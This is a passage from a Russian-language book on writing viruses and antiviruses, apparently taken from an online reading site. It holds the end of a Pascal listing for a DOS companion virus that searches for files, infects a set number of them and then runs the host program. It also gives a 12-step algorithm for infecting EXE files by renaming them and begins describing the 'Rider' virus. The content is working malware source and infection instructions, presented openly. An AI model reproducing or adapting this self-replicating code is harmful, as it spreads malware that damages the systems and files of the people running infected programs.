Создаем вирус и антивирус. Игорь Гульев

Читать онлайн книгу.

Создаем вирус и антивирус - Игорь Гульев


Скачать книгу
Sr.Name=’’ Then Exit;

      {Запоминаем имя найденного файла в переменную TargetFile}

      TargetFile:=Sr.Name;

      TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;

      {Вызываем процедуру заражения}

      InfectFile;

      {Если заразили InfCount файлов, завершаем поиск}

      If InfFiles > InfCount Then Exit;

      {Ищем следующий файл по маске}

      FindNext(Sr);

      end;

      end;

      {Основное тело}

      begin

      Parms:=’ ’;

      {Запоминаем параметры командной строки}

      If ParamCount <> 0 Then

      For I:=1 To ParamCount Do

      Parms:=Parms+’ ’+ParamStr(I);

      {Ищем жертвы и заражаем их}

      FindTarget;

      TargetFile:=Copy(ParamStr(0),1,Length(ParamStr(0))−4)+’.EXE’;

      {Ищем файл с именем стартового файла, но с расширением EXE}

      FindFirst(TargetFile, AnyFile, DirInfo);

      {Если такой файл найден, запускаем его на выполнение}

      If DosError=0 Then

      begin

      SwapVectors;

      Exec(GetEnv(’COMSPEC’),’/C ’+TargetFile+Parms);

      SwapVectors;

      end Else

      {Если файл не найден, выходим,

      не внося в программу изменений}

      begin

      WriteLn(#13#10, VirName, ’ by ’,Author);

      WriteLn(’Какое−нибудь сообщение’);

      end;

      end.

      Инфицирование методом переименования EXE-файла

      Отличий в алгоритмах работы этих вирусов и их «коллег», создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее – для излечения от вируса нужно не просто удалить COM-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован EXE-файл с инфицированной программой.

      1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе.

      2. Найти EXE-файл-жертву.

      3. Проверить, не присутствует ли в каталоге с найденным EXE-файлом-жертвой файл с таким же именем и с расширением, которое выбрано для инфицированной программы (например, OVL – программный оверлей).

      4. Если такой файл присутствует, программа уже инфицирована – переходим к пункту 7.

      5. Переименовать найденный файл-жертву (EXE) в файл с таким же именем, но с расширением, выбранным для инфицированной программы.

      6. С помощью командного процессора скопировать файл, из которого получено управление, в файл с именем жертвы и расширением жертвы.

      7. Найти в каталоге, из которого получено управление, файл с именем стартовой программы, но с расширением, выбранным для инфицированной – это и будет зараженная программа, которую в данный момент необходимо запустить на исполнение.

      8. Если такой файл не найден, переходим к пункту 12.

      9. Изменить расширение найденного файла на COM (ни в коем случае не на EXE, ведь в EXE-файле с таким именем находится вирусный код!).

      10. Процедурой Exec загрузить и выполнить переименованный файл – то есть выполнить инфицированную программу.

      11. Вернуть COM-файлу с инфицированной программой выбранное расширение, то есть превратить его опять в неисполняемый.

      12. Вернуть управление в DOS.

      Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один EXE-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только


Скачать книгу